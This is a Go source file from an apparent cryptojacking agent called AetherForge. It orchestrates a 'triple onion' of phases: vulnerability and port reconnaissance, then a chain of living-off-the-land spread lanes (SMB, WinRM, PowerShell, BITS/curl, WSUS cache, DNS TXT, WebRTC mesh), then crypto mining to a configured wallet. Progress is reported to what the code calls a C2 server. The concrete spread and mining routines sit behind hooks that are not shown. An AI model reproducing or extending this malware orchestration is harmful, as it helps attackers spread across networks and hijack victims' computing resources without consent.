Files
AetherForge/agent/miner/triple_onion.go
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

468 lines
13 KiB
Go

package miner
import (
"context"
"os"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
// OnionPhase identifies one layer of the recon → deploy → mining triple onion.
type OnionPhase string
const (
OnionPhaseRecon OnionPhase = "recon"
OnionPhaseDeploy OnionPhase = "deploy"
OnionPhaseMining OnionPhase = "mining"
)
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
type TripleOnionPolicy struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
func DefaultTripleOnionPolicy() TripleOnionPolicy {
return TripleOnionPolicy{
PatchFirst: true,
HighRiskThreshold: 50,
ReconTiers: append([]string(nil), DefaultReconTiers...),
DeployLanes: append([]string(nil), DefaultDeployLanes...),
}
}
// DefaultReconTiers is the vuln + service probe chain run before deploy.
var DefaultReconTiers = []string{
"kev_scan",
"vuln_recon",
"service_probe",
"listen_ports",
}
// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
// Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady().
var DefaultDeployLanes = []string{
"discover_and_join",
"docker",
"wsl",
"powershell",
"dotnet",
"bits_curl",
"do_peer",
"wsus_cache_peer",
"dns_txt",
"webrtc_mesh",
"smb",
"winrm",
}
// ReconSnapshot aggregates recon probe output used by policy gates.
type ReconSnapshot struct {
RiskScore int `json:"risk_score"`
CriticalExposed int `json:"critical_exposed"`
ExposedCount int `json:"exposed_count"`
LikelyCount int `json:"likely_count"`
ServiceCount int `json:"service_count"`
OpenPortCount int `json:"open_port_count"`
Details map[string]interface{} `json:"details,omitempty"`
}
// GateDecision records which downstream chains policy gates block.
type GateDecision struct {
SkipDeploy bool `json:"skip_deploy"`
SkipMining bool `json:"skip_mining"`
PatchFirst bool `json:"patch_first"`
ForceIsolated bool `json:"force_isolated"`
Reason string `json:"reason,omitempty"`
}
// ReconTierResult is one recon probe outcome.
type ReconTierResult struct {
OK bool
Error string
Snapshot ReconSnapshot
}
// TripleOnionHooks wires agent-specific recon/deploy/mining without importing client.
type TripleOnionHooks struct {
RunReconTier func(ctx context.Context, tier string) ReconTierResult
RunDeployLane func(ctx context.Context, lane string) (bool, string)
RunMining func(ctx context.Context)
ReportEvent func(report TripleOnionReport, eventType string)
}
// TripleOnionReport is the live triple-onion snapshot sent to C2/UI.
type TripleOnionReport struct {
ActivePhase OnionPhase `json:"onion_phase,omitempty"`
Gate GateDecision `json:"gate,omitempty"`
Recon ReconSnapshot `json:"recon,omitempty"`
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
Wallet string `json:"wallet,omitempty"`
}
// TripleOnionOrchestrator runs recon → deploy → mining with policy gates.
type TripleOnionOrchestrator struct {
mu sync.RWMutex
cfg config.RuntimeConfig
policy TripleOnionPolicy
hooks TripleOnionHooks
recon ReconSnapshot
gate GateDecision
attempts []TierAttempt
wallet string
done bool
}
// NewTripleOnionOrchestrator builds an orchestrator from runtime config + server policy.
func NewTripleOnionOrchestrator(cfg config.RuntimeConfig, policy TripleOnionPolicy, hooks TripleOnionHooks) *TripleOnionOrchestrator {
policy = NormalizeTripleOnionPolicy(policy)
policy = ApplyEnvTripleOnionOverrides(policy)
return &TripleOnionOrchestrator{
cfg: cfg,
policy: policy,
hooks: hooks,
wallet: strings.TrimSpace(cfg.Wallet),
}
}
// NormalizeTripleOnionPolicy fills defaults for empty policy fields.
func NormalizeTripleOnionPolicy(p TripleOnionPolicy) TripleOnionPolicy {
def := DefaultTripleOnionPolicy()
if len(p.ReconTiers) == 0 {
p.ReconTiers = def.ReconTiers
}
if len(p.DeployLanes) == 0 {
p.DeployLanes = def.DeployLanes
}
if p.HighRiskThreshold <= 0 {
p.HighRiskThreshold = def.HighRiskThreshold
}
// PatchFirst defaults true when unset — only explicit false in JSON disables.
return p
}
// ApplyEnvTripleOnionOverrides applies operator contingencies from environment.
func ApplyEnvTripleOnionOverrides(p TripleOnionPolicy) TripleOnionPolicy {
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_PATCH_FIRST")); v != "" {
p.PatchFirst = v == "1" || strings.EqualFold(v, "true")
}
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SKIP_MINING")); v == "1" || strings.EqualFold(v, "true") {
p.SkipMiningOnHighRisk = true
}
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINE_ISOLATED")); v == "1" || strings.EqualFold(v, "true") {
p.MineIsolatedTier = true
}
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_HIGH_RISK_THRESHOLD")); v != "" {
if n, err := parseEnvInt(v); err == nil && n > 0 {
p.HighRiskThreshold = n
}
}
return p
}
func parseEnvInt(s string) (int, error) {
n := 0
for _, c := range s {
if c < '0' || c > '9' {
return 0, os.ErrInvalid
}
n = n*10 + int(c-'0')
}
return n, nil
}
// EvaluateTripleOnionGates decides deploy/mining eligibility from recon + policy.
func EvaluateTripleOnionGates(policy TripleOnionPolicy, recon ReconSnapshot) GateDecision {
policy = NormalizeTripleOnionPolicy(policy)
d := GateDecision{ForceIsolated: policy.MineIsolatedTier}
if policy.PatchFirst && recon.CriticalExposed > 0 {
d.PatchFirst = true
d.SkipDeploy = true
d.SkipMining = true
d.Reason = "patch_first: critical CVE exposed — defer deploy and mining"
}
if policy.SkipMiningOnHighRisk && recon.RiskScore >= policy.HighRiskThreshold {
d.SkipMining = true
if d.Reason == "" {
d.Reason = "skip_mining_on_high_risk: risk score exceeds threshold"
}
}
return d
}
// ApplyIsolatedMiningPolicy prefers container/WSL tiers before host in-process paths.
func ApplyIsolatedMiningPolicy(base MiningTierPolicy) MiningTierPolicy {
skip := make(map[LOTLTier]bool, len(base.SkipTiers)+4)
for _, t := range base.SkipTiers {
skip[t] = true
}
skip[TierExeSubprocess] = true
skip[TierCPUInprocess] = true
skip[TierPSInMemory] = true
skip[TierDotnet] = true
order := []LOTLTier{TierDockerLoad, TierContainer, TierWSL}
seen := make(map[LOTLTier]bool, len(order))
for _, t := range order {
seen[t] = true
}
baseOrder := base.TierOrder
if len(baseOrder) == 0 {
baseOrder = DefaultTierOrder
}
for _, t := range baseOrder {
if seen[t] || skip[t] {
continue
}
order = append(order, t)
}
skipList := make([]LOTLTier, 0, len(skip))
for t := range skip {
skipList = append(skipList, t)
}
return MiningTierPolicy{
TierOrder: order,
SkipTiers: skipList,
ForceTier: base.ForceTier,
}
}
// Run executes the triple onion: recon → gated deploy → gated mining.
func (o *TripleOnionOrchestrator) Run(ctx context.Context) TripleOnionReport {
o.mu.Lock()
o.done = false
o.mu.Unlock()
o.runReconChain(ctx)
o.mu.Lock()
o.gate = EvaluateTripleOnionGates(o.policy, o.recon)
gate := o.gate
o.mu.Unlock()
if !gate.SkipDeploy {
o.runDeployChain(ctx)
} else {
o.recordPhaseSkip(OnionPhaseDeploy, gate.Reason)
}
if !gate.SkipMining {
o.mu.Lock()
o.attempts = append(o.attempts, TierAttempt{
Phase: string(OnionPhaseMining),
Tier: "mining_chain",
OK: true,
Wallet: o.wallet,
Details: map[string]interface{}{
"force_isolated": gate.ForceIsolated,
},
})
report := o.buildReport(OnionPhaseMining)
reporter := o.hooks.ReportEvent
o.mu.Unlock()
if reporter != nil {
reporter(report, "onion_report")
}
if o.hooks.RunMining != nil {
o.hooks.RunMining(ctx)
}
} else {
o.recordPhaseSkip(OnionPhaseMining, gate.Reason)
}
o.mu.Lock()
o.done = true
report := o.buildReport("")
o.mu.Unlock()
return report
}
func (o *TripleOnionOrchestrator) runReconChain(ctx context.Context) {
o.mu.RLock()
tiers := o.policy.ReconTiers
hooks := o.hooks
o.mu.RUnlock()
for _, tier := range tiers {
select {
case <-ctx.Done():
return
default:
}
if hooks.RunReconTier == nil {
o.recordAttempt(OnionPhaseRecon, tier, false, "recon hook unavailable", 0, nil)
continue
}
start := time.Now()
result := hooks.RunReconTier(ctx, tier)
duration := time.Since(start)
o.mergeRecon(result.Snapshot)
errMsg := result.Error
if !result.OK && errMsg == "" {
errMsg = "recon tier failed"
}
o.recordAttempt(OnionPhaseRecon, tier, result.OK, errMsg, duration, nil)
}
}
func (o *TripleOnionOrchestrator) runDeployChain(ctx context.Context) {
o.mu.RLock()
lanes := o.policy.DeployLanes
hooks := o.hooks
o.mu.RUnlock()
for _, lane := range lanes {
select {
case <-ctx.Done():
return
default:
}
if hooks.RunDeployLane == nil {
o.recordAttempt(OnionPhaseDeploy, lane, false, "deploy hook unavailable", 0, nil)
continue
}
start := time.Now()
ok, reason := hooks.RunDeployLane(ctx, lane)
duration := time.Since(start)
details := map[string]interface{}{"lane": lane}
if reason != "" {
details["reason"] = reason
}
o.recordAttempt(OnionPhaseDeploy, lane, ok, reason, duration, details)
if ok {
return
}
}
}
func (o *TripleOnionOrchestrator) mergeRecon(s ReconSnapshot) {
o.mu.Lock()
defer o.mu.Unlock()
if s.RiskScore > o.recon.RiskScore {
o.recon.RiskScore = s.RiskScore
}
if s.CriticalExposed > o.recon.CriticalExposed {
o.recon.CriticalExposed = s.CriticalExposed
}
if s.ExposedCount > o.recon.ExposedCount {
o.recon.ExposedCount = s.ExposedCount
}
if s.LikelyCount > o.recon.LikelyCount {
o.recon.LikelyCount = s.LikelyCount
}
if s.ServiceCount > o.recon.ServiceCount {
o.recon.ServiceCount = s.ServiceCount
}
if s.OpenPortCount > o.recon.OpenPortCount {
o.recon.OpenPortCount = s.OpenPortCount
}
if len(s.Details) > 0 {
if o.recon.Details == nil {
o.recon.Details = make(map[string]interface{}, len(s.Details))
}
for k, v := range s.Details {
o.recon.Details[k] = v
}
}
}
func (o *TripleOnionOrchestrator) recordAttempt(phase OnionPhase, tier string, ok bool, errMsg string, duration time.Duration, details map[string]interface{}) {
o.mu.Lock()
attempt := TierAttempt{
Phase: string(phase),
Tier: LOTLTier(tier),
OK: ok,
DurationMs: duration.Milliseconds(),
Details: details,
}
if phase == OnionPhaseMining {
attempt.Wallet = o.wallet
}
if !ok && errMsg != "" {
attempt.Error = errMsg
}
o.attempts = append(o.attempts, attempt)
report := o.buildReport(phase)
reporter := o.hooks.ReportEvent
o.mu.Unlock()
if reporter != nil {
event := "onion_report"
if !ok {
event = "onion_fallback"
}
reporter(report, event)
}
}
func (o *TripleOnionOrchestrator) recordPhaseSkip(phase OnionPhase, reason string) {
o.recordAttempt(phase, "policy_gate", false, reason, 0, map[string]interface{}{"gated": true})
}
func (o *TripleOnionOrchestrator) buildReport(phase OnionPhase) TripleOnionReport {
attempts := make([]TierAttempt, len(o.attempts))
copy(attempts, o.attempts)
return TripleOnionReport{
ActivePhase: phase,
Gate: o.gate,
Recon: o.recon,
Attempts: attempts,
Wallet: o.wallet,
}
}
// Report returns the current triple-onion snapshot.
func (o *TripleOnionOrchestrator) Report() TripleOnionReport {
o.mu.RLock()
defer o.mu.RUnlock()
return o.buildReport("")
}
// Attempts returns all recorded tier attempts across phases.
func (o *TripleOnionOrchestrator) Attempts() []TierAttempt {
o.mu.RLock()
defer o.mu.RUnlock()
out := make([]TierAttempt, len(o.attempts))
copy(out, o.attempts)
return out
}
// GateDecisionSnapshot returns the last evaluated gate decision.
func (o *TripleOnionOrchestrator) GateDecisionSnapshot() GateDecision {
o.mu.RLock()
defer o.mu.RUnlock()
return o.gate
}
// Done reports whether Run has completed.
func (o *TripleOnionOrchestrator) Done() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.done
}
// Policy returns the effective triple-onion policy.
func (o *TripleOnionOrchestrator) Policy() TripleOnionPolicy {
o.mu.RLock()
defer o.mu.RUnlock()
return o.policy
}
// UpdateConfig refreshes wallet/runtime config without redeploy.
func (o *TripleOnionOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
o.mu.Lock()
o.cfg = cfg
o.wallet = strings.TrimSpace(cfg.Wallet)
o.mu.Unlock()
}